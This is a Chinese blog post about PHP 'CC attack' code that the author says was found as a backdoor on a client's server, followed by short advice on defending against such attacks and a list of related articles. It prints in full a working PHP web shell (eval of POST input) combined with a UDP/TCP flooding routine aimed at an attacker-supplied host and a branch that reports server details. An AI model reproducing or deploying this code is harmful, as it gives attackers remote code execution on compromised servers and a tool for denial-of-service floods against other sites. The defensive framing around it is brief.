PHP Socket编程 之 php cc攻击代码与防范方法
2023-09-14 08:57:36 时间
今天把客户查找后门的时候发现的代码,特分享下,看到这样的代码就是黑客用来攻击别人访问,不断访问指定网站,导致网站无法访问,我们的网站就是帮凶了,同时我们自己的网站或服务器也会无法访问,所以一定要注意防范。
cc攻击代码,支持udp
<?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time']; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) { if(StrLen($_GET['rat'])<>0) { echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Php 2012 Terminator"; exit; } for($i=0;$i<65535;$i++) { $out .= "X"; } //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center $max_time = time()+$exec_time; if($rand==53) while(1) { $packets++; if(time() > $max_time) { break; } $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } else if($rand==500) while(1) { $packets++; if(time() > $max_time){ break; } $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } else while(1) { $packets++; if(time() > $max_time){ break; } $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } ?>
所谓的CC攻击就是对方利用程序或一些代理对您的网站进行不间断的访问,造成您的网站处理不了而处于当机状态
对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。
相关文章
- php替换字符串中,PHP 替换字符串中的一些字符方法介绍
- Redis实战:PHP开发者必备技能(redis实战php)
- 开发环境配置Linux实现PHP开发环境(linux配置php)
- Linux 查看 PHP 版本的方法(linux查php版本)
- 版本实现Linux安装多个PHP版本的方法(linux安装多个php)
- PHP不过过滤防止xss攻击的方法详解编程语言
- PHP防止被xss和sql语句注入攻击的方法(网站和app通用)详解编程语言
- 数据如何使用PHP在MySQL中添加数据(php添加mysql)
- 助力MySQL优化:PHP助力提升效率(mysql优化php)
- MySQL and PHP: Establishing the Perfect Connection(mysql链接php)
- 编程开发之路:PHP 与 MySQL 结缘(php与mysql程序设计)
- Linux下部署PHP网站的指南(linux部署php网站)
- PHP轻松访问MySQL数据:使用简明易懂的方法获取数据(php获取mysql数据)
- 慢解决PHP连接MySQL慢的方法(php连接mysql时间)
- PHP从Linux中读取文件的方法(php读取linux文件)
- PHP操作MySQL数据库详解,快速学习调用方法(php怎么调用mysql)
- Linux查看PHP版本的方法简介(linux查看php版本)
- PHP操作Redis队列实现数量控制(redis队列数量php)
- PHP木马攻击的防御设置方法
- php攻击方法之谈php+mysql注射语句构造
- 《PHP编程最快明白》第七讲:php图片验证码与缩略图
- 不重新编译PHP为php增加openssl模块的方法
- PHP和Mysqlweb应用开发核心技术第1部分Php基础-1开始了解php
- php另类上传图片的方法(PHP用Socket上传图片)
- php通过session防url攻击方法